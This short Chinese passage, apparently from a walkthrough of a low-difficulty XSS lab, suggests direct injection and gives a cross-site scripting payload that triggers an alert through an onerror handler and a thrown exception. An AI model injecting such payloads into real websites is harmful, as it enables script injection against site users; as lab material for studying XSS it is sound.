一、低级（Low Level）

尝试直接注入：

构造xss异常处理弹窗：

<script>onerror=alert;throw 1</script>